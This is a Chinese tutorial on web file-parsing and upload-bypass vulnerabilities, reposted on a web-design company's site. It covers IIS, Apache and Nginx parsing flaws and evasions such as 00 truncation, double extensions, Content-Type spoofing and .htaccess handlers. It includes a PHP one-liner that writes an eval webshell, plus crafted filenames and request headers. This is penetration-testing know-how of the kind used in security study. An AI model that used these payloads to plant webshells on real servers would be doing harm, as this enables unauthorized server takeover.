
成都創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于網(wǎng)站設(shè)計、做網(wǎng)站、定興網(wǎng)絡(luò)推廣、微信小程序、定興網(wǎng)絡(luò)營銷、定興企業(yè)策劃、定興品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運營等,從售前售中售后,我們都將竭誠為您服務(wù),您的肯定,是我們最大的嘉獎;成都創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供定興建站搭建服務(wù),24小時服務(wù)熱線:18980820575,官方網(wǎng)址:chinadenli.net
中國菜刀
在web***中,我最期待兩種漏洞,一種是任意命令執(zhí)行漏洞,如struct2漏洞等;另一種是文件上傳漏洞,因為這兩種漏洞都是獲取服務(wù)器權(quán)限最快最直接的方法。而對于任意命令執(zhí)行漏洞,如果是通過內(nèi)網(wǎng)映射出來的,那么可能還需要使用不同的手段進(jìn)行***文件上傳,從而獲取webshell,通過webshell進(jìn)行端口轉(zhuǎn)發(fā)或者權(quán)限提升。
本文主要是介紹文件上傳中的個人利用技巧經(jīng)驗匯總,講解分為兩部分:一部份是文件解析漏洞,另一部份是文件上傳漏洞。
解析漏洞主要是一些特殊文件被iis、Apache、Nginx等服務(wù)在某種情況下解釋成腳本文件格式并得以執(zhí)行而產(chǎn)生的漏洞。
iis6.0解析漏洞主要有以下三種:
1. 目錄解析漏洞 /xx.asp/xx.jpg
在網(wǎng)站下創(chuàng)建文件夾名字為.asp、.asa的文件夾,其目錄內(nèi)的任何擴(kuò)展名的文件都被iis當(dāng)做asp文件來解析并執(zhí)行。因此只要***者可以通過該漏洞直接上傳圖片馬,并且可以不需要改后綴名!
2. 文件解析 xx.asp;.jpg
在iis6.0下,分號后面的不被解析,所以xx.asp;.jpg被解析為asp腳本得以執(zhí)行。
3. 文件類型解析 asa/cer/cdx
iis6.0 默認(rèn)的可執(zhí)行文件除了asp還包含這三種asa、cer、cdx。
Apache對文件的解析主要是從右到左開始判斷并進(jìn)行解析,如果判斷為不能解析的類型,則繼續(xù)向左進(jìn)行解析,如xx.php.wer.xxxxx將被解析為PHP類型。
在默認(rèn)Fast-CGI開啟狀況下上傳名字為xx.jpg,內(nèi)容為:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后訪問xx.jpg/.php,在這個目錄下就會生成一句話***shell.php。
nginx如下版本:0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37在使用PHP-FastCGI執(zhí)行php的時候,URL里面在遇到%00空字節(jié)時與FastCGI處理不一致,導(dǎo)致可以在圖片中嵌入PHP代碼然后通過訪問xxx.jpg%00.php來執(zhí)行其中的代碼。
另一種Nginx文件漏洞是從左到右進(jìn)行解析,既可繞過對后綴名的限制,又可上傳***文件,因此可以上傳XXX.jpg.php(可能是運氣,也可能是代碼本身問題,但在其他都不能成功的條件下可以試試)。如下:Content-Disposition: form-data; name="userfiles"; filename="XXX.jpg.php"
如果Apache中.htaccess可被執(zhí)行并可被上傳,那么可以嘗試在.htaccess中寫入:<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后再上傳shell.jpg的***,這樣shell.jpg就可被解析為PHP文件了。
由于windows會將文件的后綴中的空格以及點進(jìn)行過濾,如果遇到是黑名單校驗的,如限制不允許上傳PHP文件,而系統(tǒng)又是windows系統(tǒng),那么我們可以上傳xx.php ,或者xx.php.,通過這種方式就可以繞過黑名單檢驗的文件上傳!
前端上傳限制
有的網(wǎng)站由于對文件上傳的地方只做前端的一個校驗,導(dǎo)致可輕易繞過,因為前端的一切限制都是不安全的!
如下是一個只對前端進(jìn)行校驗的一個上傳測試點:

在這里我是開啟了burp抓包的,但是我一點擊上傳就提示無法上傳,而burp未抓到任何數(shù)據(jù)庫,這說明這是一個前端校驗的一個上傳,在這里我們通過禁用js來直接上傳php的webshell,我們也可以先將我們的php的webshell進(jìn)行后綴名更改,如更改為jpg,然后上傳,通過burp抓包,然后發(fā)往repeater中進(jìn)行測試,如圖:

此時我們在將我們上傳的文件更改為我們的原本后綴名php,即可成功上傳!

在一句話***前面加入GIF89a,然后將***保存為圖片格式,可以欺騙簡單的waf。
從左到右解析
我們在上傳文件的時候,還有遇到服務(wù)器是從左到右進(jìn)行解析的漏洞,也就是說服務(wù)器只檢查文件名的第一個后綴,如果滿足驗證要求即可成功上傳,但是我們都知道,只有最后一層的后綴才是有效的,如1.jpg.php,那么真正的后綴應(yīng)該是PHP文件,根據(jù)這個我們可繞過相關(guān)驗證進(jìn)行上傳。
我們上傳通過burp抓包并在repeater中進(jìn)行嘗試上傳:

此時我們將后綴改為php試試:

發(fā)現(xiàn)上傳失敗,這是我們可以試試上傳一個.jpg.php的PHP文件:

我們可以發(fā)現(xiàn),文件成功上傳!
filepath漏洞主要用來突破服務(wù)器自動命名規(guī)則,主要有以下兩種利用方式:
1、改變文件上傳后路徑(filepath),可以結(jié)合目錄解析漏洞,路徑/x.asp/
2、直接改變文件名稱(都是在filepath下進(jìn)行修改),路徑/x.asp;.
對于第一種我們使用較多,如下是一個上傳測試頁面:

我們使用burp進(jìn)行抓包并且發(fā)往repeater里面,如圖:

此時我們上傳是不成功的,而請求的頭里面顯示了上傳后的目錄,此時我們在此目錄下新增一個eth20.php的目錄,然后將filename改為圖片格式,如jpg,但是如果直接這樣的話還是上傳不成功,于是我們可以結(jié)合00截斷來進(jìn)行上傳,在新建的目錄后面使用00截斷,如圖上傳成功:

另外有一種情況我們我們在原目錄下新建一個eth20.php的文件,然后直接使用00截斷,這樣我們依舊可以上傳php文件,因為上傳是使用filepath以及filename來控制的,filename白名單,那么我們就可以從filepath入手!利用手法和上面一樣,唯一的區(qū)別是在00截斷前不加最后一個斜杠(/),
00截斷的兩種利用方式:
1、更改filename,xx.php .jpg,在burpsuit中將空格對應(yīng)的hex 20改為00
2、更改filename,xx.php%00.jpg,在burpsuit中將%00進(jìn)行右鍵轉(zhuǎn)換-url-urldecoder
filetype漏洞主要是針對content-type字段,主要有兩種利用方式:
1、先上傳一個圖片,然后將content-type:p_w_picpath/jpeg改為content-type:text/asp,然后對filename進(jìn)行00截斷,將圖片內(nèi)容替換為一句話***。
2、直接使用burp抓包,得到post上傳數(shù)據(jù)后,將Content-Type: text/plain改成 Content-Type: p_w_picpath/gif。
我們經(jīng)常使用的一般是第二種,主要是將conten-type改為服務(wù)器accept的類型。如下圖是一個簡單的上傳測試頁面:

我們直接上傳一個PHP的文件,使用burp進(jìn)行抓包,然后發(fā)往repeater里,如圖:

此時顯示的是非圖片文件,此時我們將conten-type改為服務(wù)器accept的圖片類型,即可成功上傳php文件,圖中顯示的flag你可以當(dāng)成是實戰(zhàn)中生成成功后的路徑,從而getshell,如圖:

如果某天你上傳文件發(fā)現(xiàn),不管你上傳什么文件,上傳后的文件都會自動添加一個.jpg的后綴,那么我們可以懷疑是否是使用iconv這個函數(shù)進(jìn)行了上傳的限制,此時我們可以使用類似00截斷的方法,但是這里不是00截斷,二是80-EF截斷,也就是說我們可以修改HEX為80到EF中的某一個來進(jìn)行截斷,如果真是使用這個函數(shù)的話,那么恭喜你上傳任意文件成功!如上傳一個xx.php ,然后截斷抓包將后面的空格對應(yīng)的十六進(jìn)制改為80到EF中的任意一個!
再一個文件上傳的地方,右鍵審查元素,首先修改action為完整路徑,然后復(fù)制粘貼上傳瀏覽文件(<input ......),這樣就會出現(xiàn)兩個上傳框,第一個上傳正常文件,第二個選擇一句話***,然后提交。!參考鏈接
我們有時掃描發(fā)現(xiàn)上傳路徑,可是只有一個瀏覽文件,卻沒有提交按鈕,此時我們就需要寫入提交按鈕。
寫入表單:
F12審查元素,在選擇文件表單下面添加提交按鈕代碼。<input type="submit" value="提交" name="xx">
標(biāo)題名稱:淺談文件解析及上傳漏洞
文章源于:http://chinadenli.net/article26/jigjcg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供小程序開發(fā)、品牌網(wǎng)站制作、云服務(wù)器、網(wǎng)站內(nèi)鏈、電子商務(wù)、外貿(mào)網(wǎng)站建設(shè)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)